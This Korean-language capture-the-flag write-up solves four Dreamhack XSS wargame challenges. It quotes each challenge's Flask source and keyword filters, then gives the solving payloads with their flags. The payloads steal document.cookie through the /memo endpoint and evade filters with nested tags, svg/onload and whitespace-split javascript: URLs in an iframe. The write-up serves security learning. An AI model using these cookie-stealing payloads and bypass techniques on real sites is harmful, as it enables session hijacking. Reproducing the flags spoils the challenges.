https://dreamhack.io/wargame/challenges/28/

def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "") #사용자가 입력한 param을 가져옴
return param #별도의 필터링 없이 그대로 출력 => 취약점
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
#render_templeate 함수를 통해 memo.html 출력함
취약점: 소스코드를 확인해 보니 /vuln 엔드포인트에서 XSS 취약점이 발생한다. 이를 이용해서 1) 외부에서 접근 가능한 웹 서버를 이용하거나 2) 문제에서 제공하는 /memo 엔드포인트를 사용할 수 있다. 나는 평소에 많이 하는 방법대로 2) /memo 엔드포인트를 사용해 풀어볼 것이다.
문제 풀이: 필터링이 없기 때문에
정답:
flag=DH{2c01577e9542ec24d68ba0ffb846508e} https://dreamhack.io/wargame/challenges/268

@app.route("/vuln")
def vuln():
return render_template("vuln.html")
취약점: 코드를 살펴보면, render_template를 사용해 이용자가 전달한 param 파라미터의 값을 출력하고 있다.
문제 풀이: 사이트에서 확인해 보니 script 태그를 사용하지 못한다는 것을 알 수 있다. 우회 방법을 찾아보니 svg/onload를 이용할 수 있을 것 같다.
정답: svg/onload 구문을 이용해 memo 페이지에 임의 이용자의 쿠키 정보를 확인한다.
flag=DH{3c01577e9542ec24d68ba0ffb846508f}https://dreamhack.io/wargame/challenges/433

@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
문제 풀이:
정답:
location.href를 통해 /memo로 주소를 옮긴다. ?memo=+document.cookie; 를 통해 탈취한 cookie를 출력한다.<scrscriptipt>locatioonn.href = "/memo?memo=" + document.cookie;</scrscriptipt>DH{81cd7cb24a49ad75b9ba37c2b0cda4ea}
https://dreamhack.io/wargame/challenges/434

@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return paramdef check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
문제 풀이:
- XSS Filtering Bypass와 다른 점은 xss filter가 강화되었다는 점이다. window, self, this, document, location, (, ), &#를 아예 필터링하고 있어 HTML 우회 역시 어려울 것으로 보인다. 또한 lower 함수를 이용해 모두 소문자로 검사하기 때문에 대문자를 이용한 우회가 통하지 않는다.
- 웬만한 키워드가 모두 필터링되고 있으므로 유니코드 우회를 이용한다. 또한
- 원래 구문:
- iframe 구문으로 변경:
<iframe src="javascript:location.href = '/memo?memo=' + document.cookie">- 이중 인코딩 이용:
<iframe src="javascrip%09t:locatio%09n.href = '/memo?memo=' + do%09cument.cookie">//실패- 정규화 알고리즘 이용:
<iframe src="javascr ipt: locatio n.href='memo?memo='+do cument.cookie">//성공
정규화(Normalization)
정답:
location.href를 통해 /memo로 주소를 옮긴다. ?memo=+document.cookie; 를 통해 탈취한 cookie를 출력한다.<iframe src="jav ascr ipt:locatio n.href = '/memo?memo=' + docum ent.cookie">DH{e8140ed5b0770088dd2012e1c9dfd4b4} 